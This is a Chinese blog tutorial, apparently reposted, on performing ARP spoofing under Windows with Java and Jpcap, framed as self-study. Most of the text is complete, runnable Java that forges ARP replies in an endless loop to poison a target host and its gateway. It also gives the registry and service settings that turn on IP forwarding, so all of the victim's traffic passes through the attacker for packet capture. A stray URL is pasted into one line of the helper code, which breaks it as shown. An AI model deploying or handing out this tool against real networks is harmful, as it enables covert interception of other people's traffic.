最近了解到了ARP攻擊技術,本著學習的目的,筆者需要在Windows下模擬實施ARP欺騙,主要使用的是Jpcap擴展包來完成這項任務,
準備作業
1.安裝WinPcap 官網 , 網盤里面也有
2.下載Jpcap,百度網盤地址 提取碼 vu2s
下載完成之后,將Jpcap.dll放到你的jdk/bin下面,將Jpcap.jar參考到你的專案中
代碼
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import java.net.InetAddress;
import java.util.Scanner;
public class ArpAttack {
public static void main(String[] args) throws Exception{
int time = 1; // 重發間隔時間
Scanner scanner = new Scanner(System.in);
/*
為了省事,本地IP,Mac地址需手動輸入
*/
System.out.print("本機IP地址:");
InetAddress myIp = InetAddress.getByName(scanner.next());
System.out.print("本機Mac地址:");
byte[] myMac = macToBytes(scanner.next());
// 目標主機的IP與Mac
System.out.print("目標IP地址:");
InetAddress targetIp = InetAddress.getByName(scanner.next());
byte[] targetMac = macToBytes(NetUtil.getMacAddress(targetIp.getHostAddress()));
// 網關的IP與Mac
System.out.print("網關IP地址:");
InetAddress wanIp = InetAddress.getByName(scanner.next());
byte[] wanMac = macToBytes(NetUtil.getMacAddress(wanIp.getHostName()));
System.out.println("\n-------------------------------------------------\n");
// 列舉網卡并打開設備
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
for (int i = 0; i < devices.length;i++) {
System.out.printf("%s.%s,Mac=[%s]%n",i,
devices[i].description, macToStr(devices[i].mac_address));
}
System.out.print("\n選擇一個網卡:");
NetworkInterface device = devices[scanner.nextInt()];
System.out.println("\n-------------------------------------------------\n");
JpcapSender sender = JpcapSender.openDevice(device);
// 告訴靶機: 我是路由器,實則填寫的卻是本機的Mac地址
ARPPacket arp1 = getARPPacket(myMac,wanIp,targetMac,targetIp);
// 告訴路由器: 我是靶機,實則填寫的是本機的Mac地址
ARPPacket arp2 = getARPPacket(myMac,targetIp,wanMac,wanIp);
// 在欺騙目標的同時,自己的主機ARP表也會被破壞,導致訪問不到路由器
// 所以下面兩個包是告訴本機正確的IP地址對應的Mac地址
ARPPacket arp3 = getARPPacket(wanMac,wanIp,myMac,myIp);
ARPPacket arp4 = getARPPacket(targetMac,targetIp,myMac,myIp);
// 發送ARP應答包
for (int i = 1;true;i++) {
sender.sendPacket(arp1);
sender.sendPacket(arp2);
sender.sendPacket(arp3);
sender.sendPacket(arp4);
System.out.println("已發送: " + i);
Thread.sleep(time * 1000);
}
}
/**
* mac地址轉byte陣列的方法
*/
public static byte[] macToBytes(String s) {
byte[] bytes = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int i = 0; i < s1.length; i++) {
bytes[i] = (byte) ((Integer.parseInt(s1[i], 16)) & 0xff);
}
return bytes;
}
/**
* mac位元組轉字串的方法
*/
public static String macToStr(byte[] bytes) {
StringBuilder str = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
str.append(Integer.toString(bytes[i] & 0xff, 16));
if (i < bytes.length - 1) {
str.append("-");
}
}
return str.toString();
}
/**
* 構造ARP包的方法
*/
public static ARPPacket getARPPacket(byte[] sender_hardaddr, InetAddress sender_protoaddr,
byte[] target_hardaddr, InetAddress target_protoaddr) {
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = sender_hardaddr;
arp.sender_protoaddr = sender_protoaddr.getAddress();
arp.target_hardaddr = target_hardaddr;
arp.target_protoaddr = target_protoaddr.getAddress();
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = sender_hardaddr;
ether.dst_mac = target_hardaddr;
arp.datalink = ether;
return arp;
}
}
NetUtil.java
import java.io.InputStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* 代碼來自:https://www.oschina.net/code/snippet_1170650_53378
*/
public class NetUtil {
/**
* 執行單條指令
* @param cmd 命令
* @return 執行結果
* @throws Exception
*/
public static String command(String cmd) throws Exception{
Process process = Runtime.getRuntime().exec(cmd);
process.waitFor();
InputStream in = process.getInputStream();
StringBuilder result = new StringBuilder();
byte[] data = https://www.cnblogs.com/zuo-you/p/new byte[256];
while(in.read(data) != -1){
String encoding = System.getProperty("sun.jnu.encoding");
result.append(new String(data,encoding));
}
return result.toString();
}
/**
* 獲取mac地址
* @param ip
* @return
* @throws Exception
*/
public static String getMacAddress(String ip) throws Exception{
String result = command("arp -a "+ip);
String regExp = "([0-9A-Fa-f]{2})([-:][0-9A-Fa-f]{2}){5}";
Pattern pattern = Pattern.compile(regExp);
Matcher matcher = pattern.matcher(result);
StringBuilder mac = new StringBuilder();
while (matcher.find()) {
String temp = matcher.group();
mac.append(temp);
}
return mac.toString();
}
}
運行
運行前需保證本地arp表是正常的,可以使用arp -a命令查看arp表,并且必須要包含靶機的arp資訊,如果沒有包含靶機的arp資訊,可以ping一下靶機,
運行Java代碼(注意網卡不要選錯了):

運行成功后靶機應該是無法聯網的,因為windows默認關閉了路由服務,解決辦法:
- 修改注冊表HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet >Services> Tcpip >Parameters > IP Enable Router,將0改為1,
- 開啟服務Routing and Remote Access

然后可以靶機就可以正常上網了,至此,ARP欺騙就已經實作了,靶機上的所有流量資料都會流經我們的主機,可以使用抓包工具如wireshark進行資料包抓取,就不過多贅述了,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/280169.html
標籤:其他
下一篇:PHP反序列化入門
